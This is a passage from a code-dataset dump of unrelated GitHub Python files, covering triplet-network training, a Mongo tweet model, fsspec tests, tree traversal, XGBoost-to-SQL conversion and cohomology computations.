64)\r\n self.fc2 = nn.Linear(64, 6)\r\n\r\n def forward(self, x):\r\n x = self.embedding_net(x)\r\n x = self.nonlinear(x)\r\n x = self.fc1(x)\r\n x = self.nonlinear(x)\r\n scores = F.softmax(self.fc2(x), dim=-1)\r\n return scores\r\n\r\n def get_embedding(self, x):\r\n return self.nonlinear(self.embedding_net(x))\r\n\r\n\r\n\r\n\r\n@timing\r\ndef test_model_OUTDATED(model, criterion, testing, testing_labels):\r\n \"\"\"\r\n (OUTDATED)\r\n :param model:\r\n :param criterion:\r\n :param testing:\r\n :param testing_labels:\r\n :return:\r\n \"\"\"\r\n\r\n testing_loss = 0\r\n correct_preds = 0\r\n total_preds = 0\r\n\r\n for idx, (test, label) in enumerate(zip(testing, testing_labels)):\r\n # Use cuda if available\r\n if torch.cuda.is_available():\r\n test = test.cuda()\r\n label = label.cuda()\r\n\r\n with torch.no_grad():\r\n out = model(test)\r\n\r\n loss = criterion(out, label)\r\n\r\n testing_loss += loss.item()\r\n # Make predictions with the largest probability\r\n preds = classify_single(out)\r\n\r\n correct_preds += torch.all(preds.eq(label)).item()\r\n total_preds += 1\r\n accuracy = correct_preds / total_preds\r\n\r\n # Print testing results\r\n if idx % 5 == 4:\r\n print(out)\r\n print(preds)\r\n print(label)\r\n print('[%d] loss: %f' %\r\n (idx + 1, testing_loss / idx))\r\n print(f\"[{idx + 1}] Accuracy: {accuracy}\")\r\n\r\n@timing\r\ndef train_triplet(model, criterion, optimizer, training, training_labels, negative, n_epoch, batch_size):\r\n \"\"\"\r\n Training phase for triplet net (Online when batch size > 1)\r\n When batch_size = 1, equivalent to normal triplet training\r\n :param model: The triplet model to be trained\r\n :param criterion: The loss function\r\n :param optimizer: Optimizer\r\n :param training: List of training data\r\n :param training_labels:\r\n :param negative: The set of negatives to be\r\n :param n_epoch: Number of training epochs\r\n :param batch_size: The batch of hard mining\r\n :return: Trained model\r\n \"\"\"\r\n for epoch in range(n_epoch):\r\n running_loss = 0.0\r\n for idx, (_, _) in enumerate(zip(training, training_labels)):\r\n\r\n optimizer.zero_grad()\r\n\r\n out_anc, out_pos, out_neg = find_triplet(model, idx, training, training_labels, negative, batch_size)\r\n\r\n loss = criterion(out_anc, out_pos, out_neg)\r\n # Back-propagate the loss back into the model\r\n loss.backward()\r\n\r\n optimizer.step()\r\n\r\n running_loss += loss.item()\r\n # print statistics\r\n if idx % 200 == 199:\r\n print('[%d, %d] loss: %.8f' %\r\n (epoch + 1, idx + 1, running_loss / 2000))\r\n running_loss = 0\r\n\r\n return model\r\n\r\n\r\ndef feature_color(data: list, img_size: int):\r\n \"\"\"\r\n Get the vase color for every vase in the image\r\n :param data: The list of data in RGB tensors\r\n :param img_size: Size of the image\r\n :return: The list of images in HSV\r\n \"\"\"\r\n\r\n data = [img.numpy().reshape(img_size, img_size, 3).astype(np.uint8)\r\n for img in data]\r\n data = [np.asarray(Image.fromarray(img).convert(\"HSV\"))\r\n for img in data]\r\n\r\n data = transform(data, img_size)\r\n\r\n return data\r\n\r\n\r\ndef feature_shape(data: list, img_size: int):\r\n \"\"\"\r\n Get the vase color for every vase in the image\r\n :param data: The list of data in RGB tensors\r\n :param img_size: Size of the image\r\n :return: An array of transformed data\r\n \"\"\"\r\n # Transform the data to cv2 images\r\n data = [img.numpy().reshape(img_size, img_size, 3).astype(np.uint8)\r\n for img in data]\r\n # Transform from RGB to BGR\r\n data = [img[:, :, ::-1].copy() for img in data]\r\n\r\n for idx, img in enumerate(data):\r\n # Convert data to grayscale images\r\n imgray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\r\n ret, thresh = cv2.threshold(imgray, 100, 255, 0)\r\n contours, hierarchy = cv2.findContours(thresh, cv2.RETR_TREE, cv2.CHAIN_APPROX_NONE)\r\n new_img = np.zeros(img.shape)\r\n data[idx] = cv2.drawContours(new_img, contours, -1, (0, 255, 0), 3)\r\n\r\n data = transform(data, img_size)\r\n\r\n return data\r\n\r\ndef load_glued_image(path, n_class, cls, img_size=256):\r\n \"\"\"\r\n Load glued vase image (Assume width > height)\r\n :param path: Path to the glued vase image\r\n :param n_class: Number of classes to predict\r\n :param cls: The designated class to load the data\r\n :param img_size: Size of the output\r\n :return: data - Image of (img_size x img_size) with data_labels as their corresponding labels\r\n \"\"\"\r\n\r\n data = []\r\n data_labels = []\r\n\r\n label = torch.zeros((1, n_class))\r\n label[0][cls] = 1\r\n\r\n glued = np.asarray(Image.open(path))\r\n\r\n height = glued.shape[0]\r\n width = glued.shape[1]\r\n\r\n for i in range(width - height):\r\n temp = glued[:, i:i + height, :]\r\n temp = Image.fromarray(temp).resize((img_size, img_size))\r\n temp = np.asarray(temp)\r\n\r\n data.append(temp)\r\n data_labels.append(label)\r\n\r\n data = transform(data, img_size)\r\n\r\n return shuffle(data, data_labels)\r\n\r\ndef find_triplet(model, idx, training, training_labels, negative, batch_size):\r\n # Generate triplet for batch_size times and find the hard triplets\r\n positive_embs = []\r\n negative_embs = []\r\n out_anc = None\r\n\r\n for _ in range(batch_size):\r\n # Choose one positive example\r\n pos_idx = idx\r\n while pos_idx == idx and torch.all(training_labels[pos_idx].eq(training_labels[idx])):\r\n pos_idx = np.random.choice(len(training))\r\n # Choose one negative example\r\n neg_idx = np.random.choice(len(negative))\r\n\r\n if torch.cuda.is_available():\r\n out_anc, out_pos, out_neg = model(training[idx].cuda(), training[pos_idx].cuda(), negative[neg_idx].cuda())\r\n else:\r\n out_anc, out_pos, out_neg = model(training[idx], training[pos_idx], negative[neg_idx])\r\n\r\n positive_embs.append(out_pos)\r\n negative_embs.append(out_neg)\r\n\r\n # Find the hard positive with largest distance\r\n # Find the hard negative with smallest distance\r\n pos_distances = [distance(out_anc, pos) for pos in positive_embs]\r\n neg_distances = [distance(out_anc, neg) for neg in negative_embs]\r\n\r\n # out_pos = positive_embs[int(np.argmax(pos_distances))]\r\n out_pos = positive_embs[int(np.random.choice(len(pos_distances)))]\r\n out_neg = negative_embs[int(np.argmin(neg_distances))]\r\n\r\n return out_anc, out_pos, out_neg\r\n\r\n\r\n\r\n@timing\r\ndef train_triplet(model, criterion, optimizer, training, training_labels, negative, n_epoch, batch_size=1):\r\n \"\"\"\r\n Training phase for triplet net\r\n When batch_size = 1, equivalent to normal triplet training\r\n :param model: The triplet model to be trained\r\n :param criterion: The loss function\r\n :param optimizer: Optimizer\r\n :param training: List of training data\r\n :param training_labels:\r\n :param negative: The set of negatives to be\r\n :param n_epoch: Number of training epochs\r\n :param batch_size:\r\n :return: Trained model\r\n \"\"\"\r\n for epoch in range(n_epoch):\r\n running_loss = 0.0\r\n for idx, (train, label) in enumerate(zip(training, training_labels)):\r\n\r\n # Generate triplet for batch_size times and find the hard triplets\r\n positive_embs = []\r\n negative_embs = []\r\n out_anc = None\r\n # Zero the gradient buffers of all parameters and back-propagate with random gradients\r\n optimizer.zero_grad()\r\n\r\n for _ in range(batch_size):\r\n # Choose one positive example\r\n pos_idx = idx\r\n while pos_idx == idx and torch.all(training_labels[idx].eq(label)):\r\n pos_idx = np.random.choice(len(training))\r\n # Choose one negative example\r\n neg_idx = np.random.choice(len(negative))\r\n\r\n if torch.cuda.is_available():\r\n out_anc, out_pos, out_neg = model(train.cuda(), training[pos_idx].cuda(),\r\n negative[neg_idx].cuda())\r\n else:\r\n out_anc, out_pos, out_neg = model(train, training[pos_idx], negative[neg_idx])\r\n\r\n positive_embs.append(out_pos)\r\n negative_embs.append(out_neg)\r\n\r\n # Find the hard positive with largest distance\r\n # Find the hard negative with smallest distance\r\n pos_distances = [distance(out_anc, pos) for pos in positive_embs]\r\n neg_distances = [distance(out_anc, neg) for neg in negative_embs]\r\n\r\n # out_pos = positive_embs[int(np.argmax(pos_distances))]\r\n out_pos = positive_embs[int(np.random.choice(len(pos_distances)))]\r\n out_neg = negative_embs[int(np.argmin(neg_distances))]\r\n\r\n # Back-propagate the loss back into the model\r\n loss = criterion(out_anc, out_pos, out_neg)\r\n loss.backward()\r\n optimizer.step()\r\n\r\n running_loss += loss.item()\r\n # print statistics\r\n if idx % 200 == 199:\r\n print('[%d, %d] loss: %.8f' %\r\n (epoch + 1, idx + 1, running_loss / 2000))\r\n running_loss = 0\r\n\r\n return model\r\n\r\ndef shuffle(data, data_labels):\r\n # Shuffle the feature vectors and labels\r\n t = list(zip(data, data_labels))\r\n random.shuffle(t)\r\n\r\n return zip(*t)\r\n\r\ndef transform(data, img_size):\r\n \"\"\"\r\n Normalize the data loaded and return\r\n :param data: The list of data containing the window of image\r\n :param img_size: size of the image\r\n :return:\r\n \"\"\"\r\n\r\n data = [torch.from_numpy(arr).float()\r\n .view(1, 3, img_size, img_size) for arr in data]\r\n # data = [tensor / 255 for tensor in data]\r\n\r\n return data","repo_name":"howardchanth/antique_2021","sub_path":"Archive/old.py","file_name":"old.py","file_ext":"py","file_size_in_byte":14747,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"19828739018","text":"class Person:\n def __init__(self):\n print(\"Person data is upto date\")\n\n def add(self):\n self.Rollno = int(input(\"Enter roll no. :\"))\n self.name = input(\"Enter name :\")\n self.Branch = input(\"Enter Branch :\")\n self.address = input(\"Enter Address :\")\n self.Mobile = int(input(\"Enter Mobile no.\"))\n \n def show(self):\n print(\"Person Details here :-\")\n print(\"Roll NO. :\",self.Rollno)\n print(\"Name :\",self.name)\n print(\"Branch :\",self.Branch)\n print(\"Address :\",self.address)\n print(\"Mobile :\",self.Mobile)\n\np1= Person()\np1.add()\np1.show()\n\n","repo_name":"ArcGate-Shubham/new","sub_path":"oops/class1.py","file_name":"class1.py","file_ext":"py","file_size_in_byte":650,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"34078989990","text":"from marshmallow_mongoengine import fields\nfrom mongoengine import ReferenceField, DateTimeField, DictField, CASCADE\n\nfrom models.Topic import Topic\nfrom models.Base import BaseDocument, BaseSchema, BaseFactory\n\nfrom decouple import config\nfrom redis import Redis, ConnectionPool\nfrom rq import Queue\nfrom datetime import datetime\n\nfrom utils import link_parser\n\n__author__ = 'Enis Simsar'\n\npool = ConnectionPool(host='db', port=6379, password=config(\"REDIS_PASSWORD\"), db=0)\nredis_conn = Redis(connection_pool=pool)\nq = Queue(connection=redis_conn) # no args implies the default queue\n\n\nclass Tweet(BaseDocument):\n topic_id = ReferenceField(Topic, reverse_delete_rule=CASCADE)\n entry = DictField(required=True)\n published_at = DateTimeField(required=True)\n meta = {\n 'collection': 'tweets',\n 'index_background': True,\n 'auto_create_index': True,\n 'indexes': [\n 'topic_id',\n 'published_at'\n ]\n }\n\n @classmethod\n def post_save(cls, sender, document, **kwargs):\n if document.entry['entities']['urls']:\n data = {\n 'user_id': document.entry['user']['id_str'],\n 'tweet_id': document.entry['id_str'],\n 'timestamp_ms': int(document.entry['timestamp_ms']),\n 'language': document.entry['user']['lang'],\n 'location': document.entry['user']['location'],\n 'urls': [url['expanded_url'] for url in document.entry['entities']['urls'] if 'expanded_url' in url]\n }\n q.enqueue_call(func=link_parser.parse_links,\n args=(document.topic_id, data),\n at_front=True,\n timeout=20)\n\n def schema(self):\n return TweetSchema()\n\n\nclass TweetSchema(BaseSchema):\n class Meta:\n model = Tweet\n\n published_at = fields.Method(serialize=\"_published_at_serializer\", deserialize=\"_published_at_deserializer\")\n\n @staticmethod\n def _published_at_serializer(obj):\n return obj.published_at.timestamp()\n\n\nclass TweetFactory(BaseFactory):\n class Meta:\n model = Tweet\n\n entry = {'text': 'Lorem Ipsum', 'user': {'id': '222'}}\n published_at = datetime.now\n","repo_name":"openmaker-eu/watchtower-news","sub_path":"models/Tweet.py","file_name":"Tweet.py","file_ext":"py","file_size_in_byte":2247,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"52"} +{"seq_id":"20766545654","text":"from unittest.mock import patch\n\nimport pytest\nfrom fsspec.implementations.ftp import FTPFileSystem\nfrom fsspec.implementations.local import LocalFileSystem\n\nfrom nautilus_trader.persistence.external.metadata import _glob_path_to_fs\n\n\nCASES = [\n (\"/home/test/file.csv\", LocalFileSystem, {\"protocol\": \"file\"}),\n (\n \"ftp://test@0.0.0.0/home/test/file.csv\",\n FTPFileSystem,\n {\"host\": \"0.0.0.0\", \"protocol\": \"ftp\", \"username\": \"test\"}, # noqa: S104\n ),\n]\n\n\n@patch(\"nautilus_trader.persistence.external.metadata.fsspec.filesystem\")\n@pytest.mark.parametrize((\"glob\", \"kw\"), [(path, kw) for path, _, kw in CASES])\ndef test_glob_path_to_fs_inferred(mock, glob, kw):\n _glob_path_to_fs(glob)\n mock.assert_called_with(**kw)\n\n\n@patch(\"fsspec.implementations.ftp.FTPFileSystem._connect\")\n@patch(\"fsspec.implementations.ftp.FTPFileSystem.__del__\")\n@pytest.mark.parametrize((\"glob\", \"cls\"), [(path, cls) for path, cls, _ in CASES])\ndef test_glob_path_to_fs(_mock1, _mock2, glob, cls):\n fs = _glob_path_to_fs(glob)\n assert isinstance(fs, cls)\n","repo_name":"ZYJ-q/test_0","sub_path":"tests/unit_tests/persistence/external/test_metadata.py","file_name":"test_metadata.py","file_ext":"py","file_size_in_byte":1070,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"71994448484","text":"# parse_topojson.py\n# 2023-06-01 K.OHWAA\n\nimport os\nimport json\n\n\nFILE_PREF_CODE = 'data/japan_pref_code.json'\n\nFILE_CITY_LIST = 'data/japan_ordinance_designated_city_list.json'\n\nFILE_CSV = 'designated_cities.csv'\n\nFORMAT_FILEPATH = '{pref_id}/{name}.topojson'\n\nFORMAT_LINE = '{n001}, {n003}, {n007}, {id}, {filepath}, {name}, {lat}, {lon} \\n'\n\n\nHYPHON = '-'\n\nEMPTY = ''\n\n\nwith open(FILE_PREF_CODE) as f1:\n dic1 = json.load(f1)\n#\n\nlist_prefectures = dic1['prefectures']\n\n\nwith open(FILE_CITY_LIST) as f2:\n dic2 = json.load(f2)\n#\n\nlist_designated_cities = dic2['cities']\n\n\ndef find_pref(pref_name):\n is_match = False\n pref_code = ''\n for item in list_prefectures:\n kanji = item['kanji']\n if kanji == pref_name:\n is_match = True\n pref_code = item['code']\n break\n return [ is_match, pref_code]\n#\n\n\ndef find_city(name_ja):\n\tis_match = False\n\tmatched = None\n\tname = ''\n\tlat = 0\n\tlon = 0\n\tfor item in \tlist_designated_cities:\n\t\titem_name = item['name']\n\t\titem_name_ja = item['name_ja']\n\t\tif item_name_ja == name_ja:\n\t\t\tis_match = True\n\t\t\tmatched = item\n\t\t\tbreak\n\tif is_match:\n\t\tname = matched['name']\n\t\tlat = matched['lat']\n\t\tlon = matched['lon']\n\treturn[is_match, name, lat, lon]\n#i\n\n\ndef read_topojson(filepath):\n\twith open(filepath, 'r') as f:\n\t\tdic = json.load(f) \n#\n\tobjects = dic['objects']\n\tcity = objects['city']\n\tgeometries = city['geometries']\n\tgeometry = geometries[0]\n\tproperties = geometry['properties']\n\treturn properties\n#\n\n\ndef make_filepath(pref, id):\n name = id.replace('gci:', EMPTY)\n is_match, pref_id = find_pref(pref)\n filepath= FORMAT_FILEPATH.format(pref_id=pref_id, name=name)\n return filepath\n#\n\n\ndef make_line(properties):\n\tn001 = properties['N03_001']\n\tn003 = properties['N03_003']\n\tn007 = properties['N03_007']\n\tid = properties['id']\n\tfilepath = make_filepath(n001, id)\n\tis_match, name, lat, lon = find_city(n003)\n\tline = FORMAT_LINE.format(n001=n001, n003=n003, n007=n007, id=id, filepath=filepath, name=name, lat=lat, lon=lon)\n\treturn line\n#\n\n\nDIR = 'cities'\n\nEXT = '.topojson'\n\nfiles = os.listdir(DIR)\n\nlines = ''\n\nfor item in files:\n\troot, ext = os.path.splitext(item)\n\tif ext != EXT:\n\t\tcontinue\n\tpath = os.path.join(DIR, item)\n\tproperties = read_topojson(path)\n\tline = make_line(properties)\n\tprint(line)\n\tlines += line\n #\n\n\nwith open(FILE_CSV, 'wt') as f3:\n\tf3.write(lines)\n#\n\n","repo_name":"ohwada/World_Countries","sub_path":"folium/japan_ordinance_designated_city_catalog/python/parse_topojson.py","file_name":"parse_topojson.py","file_ext":"py","file_size_in_byte":2386,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"6214797055","text":"# Problem: Binary Tree Post-order Traversal\n# Difficulty: Hard\n# Category: Tree\n# Leetcode 145: https://leetcode.com/problems/binary-tree-postorder-traversal/description/\n# Description:\n\"\"\"\nGiven a binary tree, return the postorder traversal of its nodes' values.\n\nFor example:\nGiven binary tree {1,#,2,3},\n 1\n \\\n 2\n /\n 3\nreturn [3,2,1].\n\"\"\"\n\n# Definition for a binary tree node.\n# class TreeNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\n\nclass Solution(object):\n\tdef postorder(self, root):\n\t\tif root is None:\n\t\t\treturn []\n\t\tcurr = root\n\t\tres = []\n\t\tstack = []\n\n\t\twhile curr or stack:\n\t\t\tif curr:\n\t\t\t\tstack.append(curr)\n\t\t\t\tres.insert(0, curr.val)\n\t\t\t\tcurr = curr.right\n\t\t\telse:\n\t\t\t\tnode = stack.pop()\n\t\t\t\tcurr = node.left\n\t\treturn res\n","repo_name":"rush2catch/algorithms-leetcode","sub_path":"Trees/leet_145_BinaryTreePostorderTraversal.py","file_name":"leet_145_BinaryTreePostorderTraversal.py","file_ext":"py","file_size_in_byte":828,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"20439724101","text":"import pandas as pd\nimport numpy as np\nimport xgboost as xgb\nimport re\n\ntrain = pd.read_csv(\"/Users/hejinyang/Downloads/all/train.csv\")\ntest = pd.read_csv(\"/Users/hejinyang/Downloads/all/test.csv\")\n\nX_y_train = xgb.DMatrix(data=train[['Pclass', 'Age', 'Fare', 'SibSp', 'Parch']], \n label=train['Survived'])\nX_test = xgb.DMatrix(data=test[['Pclass', 'Age', 'Fare', 'SibSp', 'Parch']])\n\nparams = {\n 'base_score': np.mean(train['Survived']),\n 'eta': 0.1,\n 'max_depth': 3,\n 'gamma' :3,\n 'objective' :'reg:linear',\n 'eval_metric' :'mae'\n }\n\n\nmodel = xgb.train(params=params, \n dtrain=X_y_train, \n num_boost_round=3)\n\n\nxgb.to_graphviz(booster = model, num_trees=0)\nxgb.to_graphviz(booster = model, num_trees=1)\nxgb.to_graphviz(booster = model, num_trees=2)\n\nmodel.get_dump()\n\n#a.split('\\n')\n\n#第一棵树转为矩阵\nmodel.get_dump()[0].split('\\n')\n\n#第一棵树的第一组参数(矩阵)\nmodel.get_dump()[0].split('\\n')[0]\n\n#第一棵树的第一组参数转为字符串\ns=\"\".join(model.get_dump()[0].split('\\n')[0])\n\n\n\ntree_num=0\nnode_index = 0\nnode_index = 7\n\n#遍历一颗树\ndef string_parser(tree_num,node_index,unique_id,table_in):\n all_tree = model.get_dump()[tree_num].split('\\n')\n all_tree1 = \"\".join(model.get_dump()[tree_num].split('\\n'))\n layer_index = re.findall(r\"(\\d+):\", all_tree1)\n\n cur_tree = \"\".join(all_tree[node_index])\n cur_layer = re.findall(r\"[\\t]+\", cur_tree)\n node_type = len(re.findall(r\":leaf=\", cur_tree))\n\n if node_type == 0:\n out = re.findall(r\"[\\w.-]+\", cur_tree)\n if len(cur_layer) == 0: # 根节点没有括号\n return ('select ' + unique_id +',\\ncase when ' + out[1] + '<' + out[2] +' then ' + \n \"\".join(string_parser(tree_num,layer_index.index(out[4]),unique_id,table_in)) + \n '\\n'+'when ' + out[1] + '>=' + out[2] +' then ' + \n \"\".join(string_parser(tree_num,layer_index.index(out[6]),unique_id,table_in)) + \n '\\n'+'when ' + out[1] + ' is null' + ' then ' + \n \"\".join(string_parser(tree_num,layer_index.index(out[8]),unique_id,table_in)) + \n '\\nend as pred \\nfrom ' + table_in)\n else:\n return ('\\n'+'(case when ' + out[1] + '<' + out[2] +' then ' + \n \"\".join(string_parser(tree_num,layer_index.index(out[4]),unique_id,table_in)) + \n '\\n'+'when ' + out[1] + '>=' + out[2] +' then ' + \n \"\".join(string_parser(tree_num,layer_index.index(out[6]),unique_id,table_in)) + \n '\\n'+'when ' + out[1] + ' is null' + ' then ' + \n \"\".join(string_parser(tree_num,layer_index.index(out[8]),unique_id,table_in)) + \n '\\n'+'end)' )\n else:\n out = re.findall(r\"[\\d.-]+\", cur_tree)\n return (out[1])\n\n\n#string_parser(0,0,unique_id=\"dhid\",table_in=\"hejy_temp_1\")\n\n\n#增加每棵树之间的代码细节\n#return只输出一次,到输出时在循环\ndef tree_parser(tree,tree_num,unique_id,table_in,table_out):\n if tree_num == 0:\n return ('drop table if exists ' + table_out + ';\\ncreate table ' + table_out + ' stored as orc as' + \n '\\nselect ' + unique_id + ' , 1/(1+exp(-( 0 + sum(pred)))) AS pred \\nfrom (\\n' + \n \"\".join(string_parser(tree_num,0,unique_id,table_in)))\n elif tree_num == len(tree)-1:\n return ('\\nunion all\\n' + \"\".join(string_parser(tree_num,0,unique_id,table_in)) +\n '\\n)a\\ngroup by ' + unique_id + ';')\n else:\n return ('\\nunion all\\n' + \"\".join(string_parser(tree_num,0,unique_id,table_in)))\n \n\n\n#遍历每颗树\n#tree=model.get_dump()\ndef gbdt_to_sql(tree,unique_id,table_in,table_out,sql_out_dir):\n sql = ''\n for tree_num in range(len(tree)):\n sql += tree_parser(tree,tree_num,unique_id,table_in,table_out)\n \n if sql_out_dir[-1] == '/':\n sql_out = sql_out_dir + 'gbdt_to_sql.sql'\n else:\n sql_out = sql_out_dir + '/gbdt_to_sql.sql'\n\n fo = open(sql_out,'w+')\n fo.write(sql)\n fo.close\n\n\ngbdt_to_sql(model.get_dump(),\"dhid\",\"hejy_temp_1\",\"hejy_temp_2\",\"/Users/hejinyang/Desktop\")\n","repo_name":"Hearmit14/machine_learning","sub_path":"code/xgboost_to_hive.py","file_name":"xgboost_to_hive.py","file_ext":"py","file_size_in_byte":4282,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"4552764332","text":"\nfrom math import factorial, perm\n#code to check whether there are non zero cocycles for other partitions\n\n\ndef get_permutations(elements):\n#creates a dictionary mapping permutations of the input to their sign\n perms_dict = {}\n if len(elements) == 1:\n perms_dict[elements] = 0\n else:\n for i in range(len(elements)):\n temp_list = list(elements)\n temp_list.pop(i)\n temp_dict = get_permutations(tuple(temp_list))\n for perms in temp_dict.keys():\n perms_dict[(elements[i], ) + perms] = i*factorial(len(elements) - 1) + temp_dict[perms]\n return perms_dict\ndef partition_map(permu, template):\n my_dict = {}\n for x in range(1, len(permu) + 1):\n my_dict[x] = template[x-1]\n ans = []\n for x in permu:\n ans.append(my_dict[x])\n return tuple(ans)\ndef create_shuffles(elements, i , j):\n#given a permutation, create a list of it's i+j shuffles\n shuffles = set()\n if j == 0:\n shuffles.add(elements)\n elif j==1:\n last_element = elements[-1]\n temp_list = list(elements[:-1])\n for s in range(i+j-1):\n temp_list.insert(s, last_element)\n shuffles.add(tuple(temp_list))\n temp_list.pop(s)\n temp_list.append(last_element)\n shuffles.add(tuple(temp_list))\n else:\n last_element = elements[-1]\n second_last_element = elements[-2]\n temp_list = list(elements)\n temp_list.pop(-1)\n temp_elements = tuple(temp_list)\n temp_shuffles = create_shuffles(temp_elements, i, j-1)\n for shuffle in temp_shuffles:\n temp_list = list(shuffle)\n begin_at = shuffle.index(second_last_element)\n for s in range(begin_at + 1, i+j-1):\n temp_list.insert(s, last_element)\n shuffles.add(tuple(temp_list))\n temp_list.pop(s)\n temp_list.append(last_element)\n shuffles.add(tuple(temp_list))\n return shuffles\ndef exchange(matrix, u, v, j):\n for k in range(j):\n matrix[u][k] = matrix[u][k] + matrix[v][k]\n matrix[v][k] = matrix[u][k] - matrix[v][k]\n matrix[u][k] = matrix[u][k] - matrix[v][k]\ndef reduce(matrix, row_1, col, row_2, j, combination_matrix):\n a = matrix[row_1][col]\n b = matrix[row_2][col]/a\n #subtract a multiple of row_1 from row_2 to make the row_2 entry in col = 0\n for k in range(j):\n matrix[row_2][k] = matrix[row_2][k] - b*matrix[row_1][k]\n for k in range(len(combination_matrix)):\n combination_matrix[row_2][k] -= b*combination_matrix[row_1][k]\ndef get_cocycle(n,partition, q):\n my_tuple = tuple()\n for i in range(1,n+1):\n my_tuple+=(i, )\n my_dictionary = get_permutations(my_tuple)\n my_iterator = list(my_dictionary.keys())\n #create a iterator of permutations respecting the partition\n my_template = []\n current = 1\n for stuff in partition:\n for x in range(stuff):\n my_template.append(current)\n current += 1\n my_template = tuple(my_template)\n iterator_2 = list(set(partition_map(permu, my_template) for permu in my_iterator))\n#create the symmetry conditions matrix\n matrix = []\n combination_matrix = []\n for i in range(q*int(n/2)):\n matrix.append([0 for j in range(q)])\n combination_matrix.append([0 for j in range(q*int(n/2))])\n combination_matrix[i][i] = 1\n for s in range(q):\n mah_template = iterator_2[s]\n for m in range(1, int(n/2) + 1):\n for permi in create_shuffles(my_tuple, m, n-m):\n my_value = my_dictionary[permi]\n matrix[s*int(n/2) + m-1][iterator_2.index(partition_map(permi, mah_template))] += my_value\n#gauss reduce this matrix to get the dimension of the kernel\n print(matrix)\n rank = 0\n for i in range(q):\n reduce_bool = False\n for s in range(i, q*int(n/2)):\n if matrix[s][i] == 0:\n continue\n else:\n reduce_bool = True\n rank += 1\n if not i == s:\n exchange(matrix, s, i, q)\n exchange(combination_matrix, s, i, q*int(n/2))\n break\n if reduce_bool:\n for j in range(q*int(n/2)):\n if not matrix[j][i] == 0 and not j == i:\n reduce(matrix, i, i, j, q, combination_matrix)\n print(matrix)\n print(combination_matrix)\n return q - rank\n\ndef get_cohomology(n,p):\n matrix = []\n for i in range(factorial(n) + factorial(n-1)*(int((n-1)/2))*int((n*(n-1))/2)):\n matrix.append([0 for j in range(int((n*(n-1))/2)*factorial(n-1))])\n my_tuple = tuple([i for i in range(1, n)])\n my_dictionary = get_permutations(my_tuple)\n my_iterator = list(my_dictionary.keys())\n def my_map(permutation, ind_1, n, my_iterator):\n i_1 = permutation[ind_1]\n i_2 = permutation[ind_1 + 1]\n my_min = min([i_1, i_2])\n my_max = max([i_1, i_2])\n new_perm = tuple()\n for j in range(n):\n if (not j == ind_1) and (not j == ind_1 + 1):\n if permutation[j] < my_min:\n new_perm += (permutation[j] + 1, )\n elif my_min < permutation[j] < my_max:\n new_perm += (permutation[j], )\n elif permutation[j] > my_max:\n new_perm += (permutation[j] - 1, )\n elif j == ind_1:\n new_perm += (1, )\n else:\n continue\n tuples = []\n for i in range(1,n+1):\n for j in range(i+1, n+1):\n tuples.append((i,j))\n k = my_iterator.index(new_perm)\n s = tuples.index((my_min, my_max))\n return (s*factorial(n-1)) + k\n my_tuple_1 = tuple([i for i in range(1, n+1)])\n my_iterator_1 = list(get_permutations(my_tuple_1).keys())\n for i in range(factorial(n)):\n temp_perm = my_iterator_1[i]\n for s in range(n-1):\n my_index = my_map(temp_perm, s, n, my_iterator)\n matrix[i][my_index] = (-1)**s\n matrix_1 = []\n for i in range((factorial(n-1))*int((n-1)/2)):\n matrix_1.append([0 for j in range(factorial(n-1))])\n for s in range(factorial(n-1)):\n my_perm = my_iterator[s]\n for m in range(1, int((n-1)/2) + 1):\n for permi in create_shuffles(my_perm, m, n-1-m):\n my_value = my_dictionary[my_perm]*my_dictionary[permi]\n matrix_1[s*int((n-1)/2)+ m-1][my_iterator.index(permi)] = my_value\n for x in range(int((n*(n-1))/2)):\n for s in range(factorial(n-1)*int((n-1)/2)):\n for k in range(factorial(n-1)):\n matrix[factorial(n) + x*factorial(n-1)*int((n-1)/2) + s][x*factorial(n-1) + k] = matrix_1[s][k]\n \n rank = 0\n for i in range(int((n*(n-1))/2)*factorial(n-1)):\n reduce_bool = False\n for s in range(i, factorial(n) + factorial(n-1)*int((n-1)/2)*int((n*(n-1))/2)):\n if matrix[s][i]%p == 0:\n continue\n else:\n reduce_bool = True\n rank += 1\n if not i == s:\n exchange(matrix, s, i, int((n*(n-1))/2)*factorial(n-1))\n break\n if reduce_bool:\n for j in range(factorial(n) + factorial(n-1)*int((n-1)/2)*int((n*(n-1))/2)):\n if not matrix[j][i] == 0 and not j == i:\n reduce(matrix, i, i, j, int((n*(n-1))/2)*factorial(n-1), p)\n return get_cocycle(n,p) - (get_cocycle(n-1, p)*int((n*(n-1))/2) - (int((n*(n-1))/2)*factorial(n-1) - rank))\nprint(get_cocycle(4, (1,1,1,1), 24))\n# k = 2, n = 3 f is non zero only on [x, x', x](1 + 2) (and permutations), [x,x,x](3 + 0), [x',x',x'](0+ 3), [x', x', x](2 + 1)\n# f([xx', x, x^2]) = 0, etc\n# f(x,x',x) - f()\n#f[x,x,x,,x,x,x]\n\n#f(x_1, x_2,x_3,x_4) - f(2,1,3,4) + f(2,3,1,4) - f(2,3,4,1) = 0 1+3\n# f(2,4,1,3) - f(4,2,1,3) + f(4,1,2,3) - f(4,1,3,2)...\n# f(x_1, x)\n \n\n\n","repo_name":"AgrawallaBhavya/Harrison_Cohomology","sub_path":"gauss_reduction.py","file_name":"gauss_reduction.py","file_ext":"py","file_size_in_byte":7972,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"6945218054","text":"import unittest\nimport sqlite3\nimport os\n\nfrom uuid import uuid4\nfrom datetime import date\nfrom copy import deepcopy\n\nfrom lxml import etree\nfrom requests_mock import Mocker\n\nfrom application.library import TABLES, VIEWS\nfrom application.importer import DirectoryService\nfrom application.library.podcast import PodcastSummaryView, PodcastTable, PodcastEpisodeTable\nfrom application.library.db.search import 